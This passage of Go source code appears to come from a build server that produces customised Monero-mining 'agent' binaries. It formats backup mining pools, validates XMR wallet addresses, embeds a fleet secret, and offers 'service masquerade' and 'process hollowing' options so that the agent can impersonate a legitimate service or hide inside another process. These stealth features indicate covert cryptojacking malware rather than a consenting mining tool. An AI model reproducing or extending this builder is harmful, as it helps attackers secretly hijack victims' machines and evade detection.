formatGoStringSlice(req.BackupServerURLs),
formatGoBackupPools(req.BackupPools),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
h.fleetSecret,
)
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {
return "nil"
}
var sb strings.Builder
sb.WriteString("[]config.BackupPool{")
for i, p := range pools {
if i > 0 {
sb.WriteString(", ")
}
pass := p.Pass
if pass == "" {
pass = "x"
}
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
}
sb.WriteString("}")
return sb.String()
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
name, _ := pickServiceMasquerade(buildID)
return name
}
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
_, donor := pickServiceMasquerade(buildID)
return donor
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
relPath, err := filepath.Rel(srcDir, path)
if err != nil {
return err
}
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
return nil
}
destPath := filepath.Join(destDir, relPath)
if info.IsDir() {
return os.MkdirAll(destPath, 0755)
}
if info.Mode()&os.ModeSymlink != 0 {
return nil
}
ext := filepath.Ext(path)
base := filepath.Base(path)
if ext != ".go" && base != "go.mod" && base != "go.sum" {
return nil
}
return copyFile(path, destPath)
})
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func looksLikeXMRWallet(addr string) bool {
a := strings.TrimSpace(addr)
if len(a) < 90 || len(a) > 106 {
return false
}
if a[0] != '4' {
return false
}
for i := 1; i < len(a); i++ {
c := a[i]
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
continue
}
return false
}
return true
}
func formatGoStringSlice(values []string) string {
if len(values) == 0 {
return "nil"
}
parts := make([]string, 0, len(values))
for _, v := range values {
v = strings.TrimSpace(v)
if v != "" {
parts = append(parts, fmt.Sprintf("%q", v))
}
}
if len(parts) == 0 {
return "nil"
}
return "[]string{" + strings.Join(parts, ", ") + "}"
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return replacer.Replace(name)
}
// safePathUnderRoot resolves name under root and rejects traversal escapes.
func safePathUnderRoot(root, name string) (string, error) {
if name == "" || strings.Contains(name, "..") {
return "", fmt.Errorf("invalid path")
}
cleanName := filepath.Clean(name)
if filepath.IsAbs(cleanName) {
return "", fmt.Errorf("invalid path")
}
absRoot, err := filepath.Abs(root)
if err != nil {
return "", err
}
full := filepath.Join(absRoot, cleanName)
absFull, err := filepath.Abs(full)
if err != nil {
return "", err
}
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes root")
}
return absFull, nil
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(v)
}